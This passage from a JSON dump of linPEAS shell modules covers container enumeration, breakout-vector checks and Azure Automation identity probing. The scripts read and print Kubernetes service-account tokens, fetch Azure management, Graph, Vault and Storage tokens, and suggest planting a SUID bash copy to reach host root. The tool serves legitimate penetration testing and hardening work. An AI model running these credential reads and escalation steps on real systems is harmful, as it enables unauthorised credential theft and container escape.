\"$dockercontainers\" -ne \"0\" ]; then \n        echo \"Running Docker Containers\" | sed -${E} \"s,.*,${SED_RED},\"\n        docker ps -a 2>/dev/null\n        #echo \"Docker Container Details\" | sed -${E} \"s,.*,${SED_RED},\"\n        #docker inspect $(docker ps -q) 2>/dev/null | grep -E \"Privileged|CapAdd|CapDrop|SecurityOpt|HostConfig\" | sed -${E} \"s,true|privileged|host,${SED_RED},g\"\n        echo \"\"\n    fi\n    if [ \"$podmancontainers\" -ne \"0\" ]; then \n        echo \"Running Podman Containers\" | sed -${E} \"s,.*,${SED_RED},\"\n        podman ps -a 2>/dev/null\n        #echo \"Podman Container Details\" | sed -${E} \"s,.*,${SED_RED},\"\n        #podman inspect $(podman ps -q) 2>/dev/null | grep -E \"Privileged|CapAdd|CapDrop|SecurityOpt|HostConfig\" | sed -${E} \"s,true|privileged|host,${SED_RED},g\"\n        echo \"\"\n    fi\n    if [ \"$lxccontainers\" -ne \"0\" ]; then \n        echo \"Running LXC Containers\" | sed -${E} \"s,.*,${SED_RED},\"\n        lxc list 2>/dev/null\n        #echo \"LXC Container Details\" | sed -${E} \"s,.*,${SED_RED},\"\n        #lxc config show $(lxc list -c n --format csv) 2>/dev/null | grep -E \"security.privileged|security.capabilities|security.syscalls\" | sed -${E} \"s,true|privileged|host,${SED_RED},g\"\n        echo \"\"\n    fi\n    if [ \"$rktcontainers\" -ne \"0\" ]; then \n        echo \"Running RKT Containers\" | sed -${E} \"s,.*,${SED_RED},\"\n        rkt list 2>/dev/null\n        #echo \"RKT Container Details\" | sed -${E} \"s,.*,${SED_RED},\"\n        #rkt status $(rkt list --format=json 2>/dev/null | jq -r '.[].id') 2>/dev/null | grep -E \"privileged|capabilities|security\" | sed -${E} \"s,true|privileged|host,${SED_RED},g\"\n        echo \"\"\n    fi\nfi\n\n\necho \"\""
  },
  {
    "path": "linPEAS/builder/linpeas_parts/2_container/4_Docker_container_details.sh",
    "content": "# Title: Container - Docker Container details\n# ID: CT_Docker_container_details\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Get docker Container details from the inside\n# License: GNU GPL\n# Version: 1.0\n# Mitre: T1613\n# Functions Used: checkDockerRootless, checkDockerVersionExploits, containerCheck, enumerateDockerSockets, inDockerGroup, print_2title, print_list\n# Global Variables: $containerType, $DOCKER_GROUP, $DOCKER_ROOTLESS, $dockerVersion, $inContainer, $VULN_CVE_2019_5736, $VULN_CVE_2019_13139, $VULN_CVE_2021_41091\n# Initial Functions: containerCheck\n# Generated Global Variables:\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\n#If docker\nif echo \"$containerType\" | grep -qi \"docker\"; then\n    print_2title \"Docker Container details\" \"T1613\"\n    inDockerGroup\n    print_list \"Am I inside Docker group .......$NC $DOCKER_GROUP\\n\" | sed -${E} \"s,Yes,${SED_RED_YELLOW},\"\n    print_list \"Looking and enumerating Docker Sockets (if any):\\n\"$NC\n    enumerateDockerSockets\n    print_list \"Docker version .................$NC$dockerVersion\"\n    checkDockerVersionExploits\n    print_list \"Vulnerable to CVE-2019-5736 ....$NC$VULN_CVE_2019_5736\"$NC | sed -${E} \"s,Yes,${SED_RED_YELLOW},\"\n    print_list \"Vulnerable to CVE-2019-13139 ...$NC$VULN_CVE_2019_13139\"$NC | sed -${E} \"s,Yes,${SED_RED_YELLOW},\"\n    print_list \"Vulnerable to CVE-2021-41091 ...$NC$VULN_CVE_2021_41091\"$NC | sed -${E} \"s,Yes,${SED_RED_YELLOW},\"\n    if [ \"$inContainer\" ]; then\n        checkDockerRootless\n        print_list \"Rootless Docker? ............... $DOCKER_ROOTLESS\\n\"$NC | sed -${E} \"s,No,${SED_RED},\" | sed -${E} \"s,Yes,${SED_GREEN},\"\n        echo \"\"\n    fi\n    if df -h | grep docker; then\n        print_2title \"Docker Overlays\" \"T1613\"\n        df -h | grep docker\n    fi\nfi"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/2_container/5_Container_breakout.sh",
    "content": "# Title: Container - Container & breakout enumeration\n# ID: CT_Container_breakout\n# Author: Carlos Polop\n# Last Update: 07-03-2024\n# Description: Container breakout enumeration to identify potential escape vectors:\n#   - Container runtime vulnerabilities\n#   - Mount point misconfigurations\n#   - Capability abuse\n#   - Namespace escape\n#   - Common vulnerable scenarios:\n#     * Privileged containers\n#     * Misconfigured mounts\n#     * Excessive capabilities\n#     * Namespace isolation bypass\n#     * Runtime vulnerabilities\n#     * Container escape tools\n#     * Shared kernel exploits\n#     * Container escape CVEs\n#   - Exploitation methods:\n#     * Mount escape: Abuse mount misconfigurations\n#     * Capability abuse: Exploit excessive capabilities\n#     * Namespace escape: Break out of container namespaces\n#     * Runtime escape: Exploit container runtime vulnerabilities\n#     * Common attack vectors:\n#       - Mount point manipulation\n#       - Capability exploitation\n#       - Namespace breakout\n#       - Runtime vulnerability abuse\n#       - Kernel exploit abuse\n#       - Container escape tool usage\n#     * Exploit techniques:\n#       - Mount point abuse\n#       - Capability escalation\n#       - Namespace escape\n#       - Runtime exploitation\n#       - Kernel exploitation\n#       - Container escape tool execution\n# License: GNU GPL\n# Version: 1.0\n# Mitre: T1611\n# Functions Used: checkContainerExploits, checkProcSysBreakouts, containerCheck, enumerateDockerSockets, print_2title, print_3title, print_info, print_list, warn_exec\n# Global Variables: $binfmt_misc_breakout, $containercapsB, $containerType, $core_pattern_breakout, $dev_mounted, $efi_efivars_writable, $efi_vars_writable, $GREP_IGNORE_MOUNTS, $inContainer, $kallsyms_readable, $kcore_readable, $kmem_readable, $kmem_writable, $kmsg_readable, $mem_readable, $mem_writable, $modprobe_present, $mountinfo_readable, $panic_on_oom_dos, $panic_sys_fs_dos, $proc_configgz_readable, $proc_mounted, $run_unshare, $release_agent_breakout1, $release_agent_breakout2, $release_agent_breakout3, $sched_debug_readable, $security_present, $security_writable, $sysreq_trigger_dos, $uevent_helper_breakout, $vmcoreinfo_readable, $VULN_CVE_2019_5021, $self_mem_readable\n# Initial Functions: containerCheck\n# Generated Global Variables: $defautl_docker_caps, $containerd_version, $runc_version, $seccomp_mode_num, $seccomp_mode_desc\n# Fat linpeas: 0\n# Small linpeas: 0\n\nif [ \"$inContainer\" ]; then\n    echo \"\"\n    print_2title \"Container & breakout enumeration\" \"T1611\"\n    print_info \"https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/index.html\"\n    \n    # Basic container info\n    print_list \"Container ID ...................$NC $(cat /etc/hostname && echo -n '\\n')\"\n    if [ -f \"/proc/1/cpuset\" ] && echo \"$containerType\" | grep -qi \"docker\"; then\n        print_list \"Container Full ID ..............$NC $(basename $(cat /proc/1/cpuset))\\n\"\n    fi\n    \n    # Security mechanisms\n    print_3title \"Security Mechanisms\" \"T1611\"\n    seccomp_mode_num=\"$(awk '/^Seccomp:/{print $2}' /proc/self/status 2>/dev/null)\"\n    seccomp_mode_desc=\"unknown\"\n    case \"$seccomp_mode_num\" in\n      0) seccomp_mode_desc=\"disabled\" ;;\n      1) seccomp_mode_desc=\"strict\" ;;\n      2) seccomp_mode_desc=\"filtering\" ;;\n    esac\n\n    print_list \"Seccomp mode ................... \"$NC\n    (printf \"%s (%s)\\n\" \"$seccomp_mode_desc\" \"${seccomp_mode_num:-?}\") | sed \"s,disabled,${SED_RED},\" | sed \"s,strict,${SED_RED_YELLOW},\" | sed \"s,filtering,${SED_GREEN},\"\n\n    if grep -q \"^Seccomp_filters:\" /proc/self/status 2>/dev/null; then\n      print_list \"Seccomp filters ............... \"$NC\n      awk '/^Seccomp_filters:/{print $2}' /proc/self/status 2>/dev/null | sed -${E} \"s,^[0-9]+$,${SED_GREEN}&,\"\n    fi\n\n    print_list \"AppArmor profile? .............. \"$NC\n    (cat /proc/self/attr/current 2>/dev/null || echo \"disabled\") | sed \"s,disabled,${SED_RED},\" | sed \"s,kernel,${SED_GREEN},\"\n\n    print_list \"User proc namespace? ........... \"$NC\n    if [ \"$(cat /proc/self/uid_map 2>/dev/null)\" ]; then \n        (printf \"enabled\"; cat /proc/self/uid_map) | sed \"s,enabled,${SED_GREEN},\"; \n        echo \"\"\n        echo \"  Mappings (Container -> Host -> Range):\"\n        cat /proc/self/uid_map | awk '{print \"  \" $1 \" -> \" $2 \" -> \" $3}'\n    else \n        echo \"disabled\" | sed \"s,disabled,${SED_RED},\"; \n    fi\n\n    # Known vulnerabilities\n    print_3title \"Known Vulnerabilities\" \"T1611\"\n    checkContainerExploits\n    print_list \"Vulnerable to CVE-2019-5021 .... $VULN_CVE_2019_5021\\n\"$NC | sed -${E} \"s,Yes,${SED_RED_YELLOW},\"\n    \n    # Check for container escape tools\n    print_list \"Container escape tools present .. \"$NC\n    (command -v nsenter || command -v unshare || command -v chroot || command -v capsh || command -v setcap || command -v getcap || command -v docker || command -v kubectl || command -v ctr || command -v runc || command -v containerd || command -v crio || command -v podman || command -v lxc || command -v rkt || command -v nerdctl || echo \"No\") | sed -${E} \"s,nsenter|unshare|chroot|capsh|setcap|getcap|docker|kubectl|ctr|runc|containerd|crio|podman|lxc|rkt|nerdctl,${SED_RED},g\"\n    \n    # Runtime vulnerabilities\n    print_3title \"Runtime Vulnerabilities\" \"T1611\"\n    # Check for known runtime vulnerabilities\n    if [ \"$(command -v runc || echo -n '')\" ]; then\n        print_list \"Runc version ................. \"$NC\n        warn_exec runc --version\n        # Check for specific runc vulnerabilities\n        runc_version=$(runc --version 2>/dev/null | grep -i \"version\" | grep -Eo \"[0-9]+\\.[0-9]+\\.[0-9]+\")\n        if [ \"$runc_version\" ]; then\n            print_list \"Runc CVE-2019-5736 ........... \"$NC\n            if [ \"$(echo $runc_version | awk -F. '{ if ($1 < 1 || ($1 == 1 && $2 < 0) || ($1 == 1 && $2 == 0 && $3 < 7)) print \"Yes\"; else print \"No\"; }')\" = \"Yes\" ]; then\n                echo \"Yes - Vulnerable\" | sed -${E} \"s,Yes,${SED_RED},\"\n            else\n                echo \"No\"\n            fi\n        fi\n    fi\n    \n    if [ \"$(command -v containerd || echo -n '')\" ]; then\n        print_list \"Containerd version ........... \"$NC\n        warn_exec containerd --version\n        # Check for specific containerd vulnerabilities\n        containerd_version=$(containerd --version 2>/dev/null | grep -Eo \"[0-9]+\\.[0-9]+\\.[0-9]+\")\n        if [ \"$containerd_version\" ]; then\n            print_list \"Containerd CVE-2020-15257 ..... \"$NC\n            if [ \"$(echo $containerd_version | awk -F. '{ if ($1 < 1 || ($1 == 1 && $2 < 4) || ($1 == 1 && $2 == 4 && $3 < 3)) print \"Yes\"; else print \"No\"; }')\" = \"Yes\" ]; then\n                echo \"Yes - Vulnerable\" | sed -${E} \"s,Yes,${SED_RED},\"\n            else\n                echo \"No\"\n            fi\n        fi\n    fi\n    \n    # Mount escape vectors\n    print_3title \"Breakout via mounts\" \"T1611\"\n    print_info \"https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.html\"\n    \n    checkProcSysBreakouts\n    print_list \"/proc mounted? ................. $proc_mounted\\n\" | sed -${E} \"s,Yes,${SED_RED_YELLOW},\"\n    print_list \"/dev mounted? .................. $dev_mounted\\n\" | sed -${E} \"s,Yes,${SED_RED_YELLOW},\"\n    print_list \"Run unshare .................... $run_unshare\\n\" | sed -${E} \"s,Yes,${SED_RED},\"\n    print_list \"release_agent breakout 1........ $release_agent_breakout1\\n\" | sed -${E} \"s,Yes,${SED_RED},\"\n    print_list \"release_agent breakout 2........ $release_agent_breakout2\\n\" | sed -${E} \"s,Yes,${SED_RED_YELLOW},\"\n    print_list \"release_agent breakout 3........ $release_agent_breakout3\\n\" | sed -${E} \"s,Yes,${SED_RED_YELLOW},\"\n    print_list \"core_pattern breakout .......... $core_pattern_breakout\\n\" | sed -${E} \"s,Yes,${SED_RED_YELLOW},\"\n    print_list \"binfmt_misc breakout ........... $binfmt_misc_breakout\\n\" | sed -${E} \"s,Yes,${SED_RED_YELLOW},\"\n    print_list \"uevent_helper breakout ......... $uevent_helper_breakout\\n\" | sed -${E} \"s,Yes,${SED_RED_YELLOW},\"\n    \n    # Additional mount checks\n    print_list \"Docker socket mounted? ......... \"$NC\n    (mount | grep -E \"docker.sock|/var/run/docker.sock\" || echo \"No\") | sed -${E} \"s,Yes|docker.sock,${SED_RED},\"\n    \n    print_list \"Common host filesystem mounted?  \"$NC\n    (mount | grep -E \"host|/host|/mnt/host\" || echo \"No\") | sed -${E} \"s,Yes|host,${SED_RED},\"\n    \n    print_list \"Interesting mounts ............. \"$NC\n    mount | grep -E \"docker|container|overlay|kubelet\" | grep -v \"proc\" | sed -${E} \"s,docker.sock|host|privileged,${SED_RED},g\"\n    \n    # Check for writable mount points\n    print_list \"Writable mount points ......... \"$NC\n    mount | grep -E \"rw,\" | grep -v \"ro,\" | sed -${E} \"s,docker.sock|host|privileged,${SED_RED},g\"\n    \n    # Check for shared mount points\n    print_list \"Shared mount points ........... \"$NC\n    mount | grep -E \"shared|slave\" | sed -${E} \"s,docker.sock|host|privileged,${SED_RED},g\"\n    \n    # Capability checks\n    print_3title \"Capability Checks\" \"T1611\"\n    print_info \"https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/capabilities-abuse-escape.html\"\n    \n    print_list \"Dangerous capabilities ......... \"$NC\n    if [ \"$(command -v capsh || echo -n '')\" ]; then \n        capsh --print 2>/dev/null | sed -${E} \"s,$containercapsB,${SED_RED},g\"\n    else\n        defautl_docker_caps=\"00000000a80425fb=cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap\"\n        cat /proc/self/status | tr '\\t' ' ' | grep Cap | sed -${E} \"s, .*,${SED_RED},g\" | sed -${E} \"s/00000000a80425fb/$defautl_docker_caps/g\" | sed -${E} \"s,0000000000000000|00000000a80425fb,${SED_GREEN},g\"\n        echo $ITALIC\"Run capsh --decode=<hex> to decode the capabilities\"$NC\n    fi\n\n    print_list \"Ambient capabilities ........... \"$NC\n    (grep \"CapAmb:\" /proc/self/status 2>/dev/null | grep -v \"0000000000000000\" | sed \"s,CapAmb:.,,\" || echo \"No\") | sed -${E} \"s,No,${SED_GREEN},\" | sed -${E} \"s,[0-9a-fA-F]\\+,${SED_RED}&,\"\n    \n    # Additional capability checks\n    print_list \"Dangerous syscalls allowed ... \"$NC\n    if [ -f \"/proc/sys/kernel/yama/ptrace_scope\" ]; then\n        (cat /proc/sys/kernel/yama/ptrace_scope 2>/dev/null || echo \"Not found\") | sed -${E} \"s,0,${SED_RED},\"\n    else\n        echo \"Not found\"\n    fi\n    \n    # Namespace checks\n    print_3title \"Namespace Checks\" \"T1611\"\n    print_info \"https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/docker-security/namespaces/index.html\"\n    \n    print_list \"Current namespaces ............. \"$NC\n    ls -l /proc/self/ns/\n    \n    print_list \"Host network namespace? ........ \"$NC\n    if [ \"$(ip netns list 2>/dev/null)\" ]; then\n        echo \"Yes - Host network namespace accessible\" | sed -${E} \"s,Yes,${SED_RED},\"\n    else\n        echo \"No\"\n    fi\n    \n    # Additional namespace checks\n    print_list \"Host IPC namespace? ........... \"$NC\n    if [ \"$(ls -l /proc/self/ns/ipc 2>/dev/null)\" = \"$(ls -l /proc/1/ns/ipc 2>/dev/null)\" ]; then\n        echo \"Yes - Host IPC namespace shared\" | sed -${E} \"s,Yes,${SED_RED},\"\n    else\n        echo \"No\"\n    fi\n    \n    print_list \"Host PID namespace? ........... \"$NC\n    if [ \"$(ls -l /proc/self/ns/pid 2>/dev/null)\" = \"$(ls -l /proc/1/ns/pid 2>/dev/null)\" ]; then\n        echo \"Yes - Host PID namespace shared\" | sed -${E} \"s,Yes,${SED_RED},\"\n    else\n        echo \"No\"\n    fi\n    \n    print_list \"Host UTS namespace? ........... \"$NC\n    if [ \"$(ls -l /proc/self/ns/uts 2>/dev/null)\" = \"$(ls -l /proc/1/ns/uts 2>/dev/null)\" ]; then\n        echo \"Yes - Host UTS namespace shared\" | sed -${E} \"s,Yes,${SED_RED},\"\n    else\n        echo \"No\"\n    fi\n    \n    \n    print_list \"Looking and enumerating Docker Sockets (if any):\\n\"$NC\n    enumerateDockerSockets\n    \n    # Additional breakout vectors\n    print_3title \"Additional Breakout Vectors\" \"T1611\"\n    print_list \"is modprobe present ............ $modprobe_present\\n\" | sed -${E} \"s,/.*,${SED_RED},\"\n    print_list \"DoS via panic_on_oom ........... $panic_on_oom_dos\\n\" | sed -${E} \"s,Yes,${SED_RED},\"\n    print_list \"DoS via panic_sys_fs ........... $panic_sys_fs_dos\\n\" | sed -${E} \"s,Yes,${SED_RED},\"\n    print_list \"DoS via sysreq_trigger_dos ..... $sysreq_trigger_dos\\n\" | sed -${E} \"s,Yes,${SED_RED},\"\n    \n    # Check for container escape tools in PATH\n    print_list \"Container escape tools in PATH . \"$NC\n    (which nsenter 2>/dev/null || which unshare 2>/dev/null || which chroot 2>/dev/null || which capsh 2>/dev/null || which setcap 2>/dev/null || which getcap 2>/dev/null || echo \"No\") | sed -${E} \"s,nsenter|unshare|chroot|capsh|setcap|getcap,${SED_RED},g\"\n\n    print_3title \"Extra Breakout Vectors\" \"T1611\"\n    print_list \"/proc/config.gz readable ....... $proc_configgz_readable\\n\" | sed -${E} \"s,Yes,${SED_RED},\"\n    print_list \"/proc/sched_debug readable ..... $sched_debug_readable\\n\" | sed -${E} \"s,Yes,${SED_RED},\"\n    print_list \"/proc/*/mountinfo readable ..... $mountinfo_readable\\n\" | sed -${E} \"s,Yes,${SED_RED},\"\n    print_list \"/sys/kernel/security present ... $security_present\\n\" | sed -${E} \"s,Yes,${SED_RED},\"\n    print_list \"/sys/kernel/security writable .. $security_writable\\n\" | sed -${E} \"s,Yes,${SED_RED},\"\n    print_list \"/proc/kmsg readable ............ $kmsg_readable\\n\" | sed -${E} \"s,Yes,${SED_RED},\"\n    print_list \"/proc/kallsyms readable ........ $kallsyms_readable\\n\" | sed -${E} \"s,Yes,${SED_RED},\"\n    print_list \"/proc/self/mem readable ........ $self_mem_readable\\n\" | sed -${E} \"s,Yes,${SED_RED},\"\n    print_list \"/proc/kcore readable ........... $kcore_readable\\n\" | sed -${E} \"s,Yes,${SED_RED},\"\n    print_list \"/proc/kmem readable ............ $kmem_readable\\n\" | sed -${E} \"s,Yes,${SED_RED},\"\n    print_list \"/proc/kmem writable ............ $kmem_writable\\n\" | sed -${E} \"s,Yes,${SED_RED},\"\n    print_list \"/proc/mem readable ............. $mem_readable\\n\" | sed -${E} \"s,Yes,${SED_RED},\"\n    print_list \"/proc/mem writable ............. $mem_writable\\n\" | sed -${E} \"s,Yes,${SED_RED},\"\n    print_list \"/sys/kernel/vmcoreinfo readable  $vmcoreinfo_readable\\n\" | sed -${E} \"s,Yes,${SED_RED},\"\n    print_list \"/sys/firmware/efi/vars writable  $efi_vars_writable\\n\" | sed -${E} \"s,Yes,${SED_RED},\"\n    print_list \"/sys/firmware/efi/efivars writable $efi_efivars_writable\\n\" | sed -${E} \"s,Yes,${SED_RED},\"\n    \n    # Additional kernel checks\n    print_list \"Kernel version .............. \"$NC\n    uname -a | sed -${E} \"s,$(uname -r),${SED_RED},\"\n    \n    print_list \"Kernel modules ............. \"$NC\n    if command -v lsmod >/dev/null 2>&1; then\n        lsmod | grep -E \"overlay|aufs|btrfs|device_mapper|floppy|loop|squashfs|udf|veth|vbox|vmware|kvm|xen|docker|containerd|runc|crio\" | sed -${E} \"s,overlay|aufs|btrfs|device_mapper|floppy|loop|squashfs|udf|veth|vbox|vmware|kvm|xen|docker|containerd|runc|crio,${SED_RED},g\"\n    elif [ -r /proc/modules ]; then\n        cat /proc/modules | grep -E \"overlay|aufs|btrfs|device_mapper|floppy|loop|squashfs|udf|veth|vbox|vmware|kvm|xen|docker|containerd|runc|crio\" | sed -${E} \"s,overlay|aufs|btrfs|device_mapper|floppy|loop|squashfs|udf|veth|vbox|vmware|kvm|xen|docker|containerd|runc|crio,${SED_RED},g\"\n    else\n        echo_not_found \"lsmod and /proc/modules\"\n    fi\n    \n    # Additional container runtime checks\n    print_list \"Container runtime sockets .. \"$NC\n    (find /var/run -name \"*.sock\" 2>/dev/null | grep -E \"docker|containerd|crio|podman|lxc|rkt\" || echo \"No\") | sed -${E} \"s,docker|containerd|crio|podman|lxc|rkt,${SED_RED},g\"\n    \n    print_list \"Container runtime configs .. \"$NC\n    (find /etc -name \"*.conf\" -o -name \"*.json\" 2>/dev/null | grep -E \"docker|containerd|crio|podman|lxc|rkt\" || echo \"No\") | sed -${E} \"s,docker|containerd|crio|podman|lxc|rkt,${SED_RED},g\"\n    \n    # Kubernetes specific checks\n    if echo \"$containerType\" | grep -qi \"kubernetes\"; then\n        print_3title \"Kubernetes Specific Checks\" \"T1611\"\n        print_info \"https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/attacking-kubernetes-from-inside-a-pod.html\"\n        \n        print_list \"Kubernetes namespace ...........$NC $(cat /run/secrets/kubernetes.io/serviceaccount/namespace /var/run/secrets/kubernetes.io/serviceaccount/namespace /secrets/kubernetes.io/serviceaccount/namespace 2>/dev/null)\\n\"\n        print_list \"Kubernetes token ...............$NC $(cat /run/secrets/kubernetes.io/serviceaccount/token /var/run/secrets/kubernetes.io/serviceaccount/token /secrets/kubernetes.io/serviceaccount/token 2>/dev/null)\\n\"\n        \n        print_list \"Kubernetes service account folder\" | sed -${E} \"s,.*,${SED_RED},\"\n        ls -lR /run/secrets/kubernetes.io/ /var/run/secrets/kubernetes.io/ /secrets/kubernetes.io/ 2>/dev/null\n        \n        print_list \"Kubernetes env vars\" | sed -${E} \"s,.*,${SED_RED},\"\n        (env | set) | grep -Ei \"kubernetes|kube\" | grep -Ev \"^WF=|^Wfolders=|^mounted=|^USEFUL_SOFTWARE='|^INT_HIDDEN_FILES=|^containerType=\"\n        \n        print_list \"Current sa user k8s permissions\" | sed -${E} \"s,.*,${SED_RED},\"\n        kubectl auth can-i --list 2>/dev/null || curl -s -k -d \"$(echo \\\"eyJraW5kIjoiU2VsZlN1YmplY3RSdWxlc1JldmlldyIsImFwaVZlcnNpb24iOiJhdXRob3JpemF0aW9uLms4cy5pby92MSIsIm1ldGFkYXRhIjp7ImNyZWF0aW9uVGltZXN0YW1wIjpudWxsfSwic3BlYyI6eyJuYW1lc3BhY2UiOiJlZXZlZSJ9LCJzdGF0dXMiOnsicmVzb3VyY2VSdWxlcyI6bnVsbCwibm9uUmVzb3VyY2VSdWxlcyI6bnVsbCwiaW5jb21wbGV0ZSI6ZmFsc2V9fQo=\\\"|base64 -d)\" \\\n          \"https://${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT_HTTPS}/apis/authorization.k8s.io/v1/selfsubjectrulesreviews\" \\\n            -X 'POST' -H 'Content-Type: application/json' \\\n            --header \"Authorization: Bearer $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)\" | sed \"s,secrets|exec|create|patch|impersonate|\\\"*\\\",${SED_RED},\"\n        \n        # Additional Kubernetes checks\n        print_list \"Kubernetes API server ...... \"$NC\n        (curl -s -k https://${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT_HTTPS}/version 2>/dev/null || echo \"Not accessible\") | sed -${E} \"s,Not accessible,${SED_GREEN},\"\n        \n        print_list \"Kubernetes secrets ......... \"$NC\n        (kubectl get secrets 2>/dev/null || echo \"Not accessible\") | sed -${E} \"s,Not accessible,${SED_GREEN},\"\n        \n        print_list \"Kubernetes pods ............ \"$NC\n        (kubectl get pods 2>/dev/null || echo \"Not accessible\") | sed -${E} \"s,Not accessible,${SED_GREEN},\"\n        \n        print_list \"Kubernetes services ........ \"$NC\n        (kubectl get services 2>/dev/null || echo \"Not accessible\") | sed -${E} \"s,Not accessible,${SED_GREEN},\"\n        \n        print_list \"Kubernetes nodes ........... \"$NC\n        (kubectl get nodes 2>/dev/null || echo \"Not accessible\") | sed -${E} \"s,Not accessible,${SED_GREEN},\"\n    fi\n    \n    # Interesting files and mounts\n    print_3title \"Interesting Files & Mounts\" \"T1611\"\n    print_list \"Interesting files mounted ........ \"$NC\n    (mount -l || cat /proc/self/mountinfo || cat /proc/1/mountinfo || cat /proc/mounts || cat /proc/self/mounts || cat /proc/1/mounts )2>/dev/null | grep -Ev \"$GREP_IGNORE_MOUNTS\" | sed -${E} \"s,.sock,${SED_RED},\" | sed -${E} \"s,docker.sock,${SED_RED_YELLOW},\" | sed -${E} \"s,/dev/,${SED_RED},g\"\n    \n    print_list \"Possible entrypoints ........... \"$NC\n    ls -lah /*.sh /*entrypoint* /**/entrypoint* /**/*.sh /deploy* 2>/dev/null | sort | uniq\n    \n    echo \"\"\nfi\n"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/2_container/7_RW_bind_mounts_nosuid.sh",
    "content": "# Title: Container - Writable bind mounts without nosuid (SUID risk)\n# ID: CT_RW_bind_mounts_nosuid\n# Author: HT Bot\n# Last Update: 17-09-2025\n# Description: Detect writable bind-mounted paths inside containers that are not mounted with nosuid.\n#   If the container user is root and the mount is a host bind mount without nosuid, an attacker may\n#   be able to drop a SUID binary on the shared path and execute it from the host to escalate to root\n#   (classic container-to-host breakout via writable bind mount).\n# License: GNU GPL\n# Version: 1.0\n# Mitre: T1611\n# Functions Used: containerCheck, print_2title, print_list, print_info\n# Global Variables: $inContainer\n# Initial Functions: containerCheck\n# Generated Global Variables: $CT_RW_bind_mounts_matches\n# Fat linpeas: 0\n# Small linpeas: 1\n\ncontainerCheck\n\nif [ \"$inContainer\" ]; then\n  echo \"\"\n  print_2title \"Container - Writable bind mounts w/o nosuid (SUID persistence risk)\" \"T1611\"\n  print_info \"https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/index.html#writable-bind-mounts\"\n\n  if [ -r /proc/self/mountinfo ]; then\n    CT_RW_bind_mounts_matches=$(grep -E \"(^| )bind( |$)\" /proc/self/mountinfo 2>/dev/null | grep -E \"(^|,)rw(,|$)\" | grep -v \"nosuid\" || true)\n  else\n    CT_RW_bind_mounts_matches=$(mount -l 2>/dev/null | grep -E \"bind\" | grep -E \"(^|,)rw(,|$)\" | grep -v \"nosuid\" || true)\n  fi\n\n  if [ -z \"$CT_RW_bind_mounts_matches\" ]; then\n    print_list \"Writable bind mounts without nosuid ............ No\"\n  else\n    print_list \"Writable bind mounts without nosuid ............ Yes\" | sed -${E} \"s,Yes,${SED_RED},\"\n    echo \"$CT_RW_bind_mounts_matches\" | sed -${E} \"s,/proc/self/mountinfo,${SED_GREEN},\"\n    echo \"\"\n    if [ \"$(id -u 2>/dev/null)\" = \"0\" ]; then\n      print_list \"Note\"; echo \": You are root inside a container and there are writable bind mounts without nosuid.\" | sed -${E} \"s,.*,${SED_RED},\"\n      echo \"  If the path is shared with the host and executable there, you may plant a SUID binary (e.g., copy /bin/bash and chmod 6777)\"\n      echo \"  and execute it from the host to obtain root. Ensure proper authorization before testing.\"\n    else\n      print_list \"Note\"; echo \": Current user is not root; if you obtain container root, these mounts may enable host escalation via SUID planting.\" | sed -${E} \"s,.*,${SED_RED},\"\n    fi\n  fi\n  echo \"\"\nfi\n"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/3_cloud/10_Azure_automation_account.sh",
    "content": "# Title: Cloud - Azure Automation Account\n# ID: CL_Azure_automation_account\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Azure Automation Account Service Enumeration\n# License: GNU GPL\n# Version: 1.0\n# Mitre: T1552.005,T1580\n# Functions Used: check_az_automation_acc, exec_with_jq, print_2title, print_3title\n# Global Variables: $is_az_automation_acc,\n# Initial Functions: check_az_automation_acc\n# Generated Global Variables: $API_VERSION, $HEADER, $az_req\n# Fat linpeas: 0\n# Small linpeas: 0\n\n\nAPI_VERSION=\"2019-08-01\" #https://learn.microsoft.com/en-us/azure/app-service/overview-managed-identity?tabs=portal%2Chttp\n\nif [ \"$is_az_automation_acc\" = \"Yes\" ]; then\n  print_2title \"Azure Automation Account Service Enumeration\" \"T1552.005,T1580\"\n  HEADER=\"X-IDENTITY-HEADER:$IDENTITY_HEADER\"\n\n  az_req=\"\"\n  if [ \"$(command -v curl || echo -n '')\" ]; then\n      az_req=\"curl -s -f -L -H '$HEADER'\"\n  elif [ \"$(command -v wget || echo -n '')\" ]; then\n      az_req=\"wget -q -O - --header '$HEADER'\"\n  else \n      echo \"Neither curl nor wget were found, I can't enumerate the metadata service :(\"\n  fi\n\n  if [ \"$az_req\" ]; then\n    print_3title \"Management token\" \"T1552.005,T1580\"\n    exec_with_jq eval $az_req \"$IDENTITY_ENDPOINT?api-version=$API_VERSION\\&resource=https://management.azure.com/\"\n    echo\n    print_3title \"Graph token\" \"T1552.005,T1580\"\n    exec_with_jq eval $az_req \"$IDENTITY_ENDPOINT?api-version=$API_VERSION\\&resource=https://graph.microsoft.com/\"\n    echo\n    print_3title \"Vault token\" \"T1552.005,T1580\"\n    exec_with_jq eval $az_req \"$IDENTITY_ENDPOINT?api-version=$API_VERSION\\&resource=https://vault.azure.net/\"\n    echo\n    print_3title \"Storage token\" \"T1552.005,T1580\"\n    exec_with_jq eval $az_req \"$IDENTITY_ENDPOINT?api-version=$API_VERSION\\&resource=https://storage.azure.com/\"\n  fi\n  echo \"\"\nfi\n"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/3_cloud/11_DO_Droplet.sh",
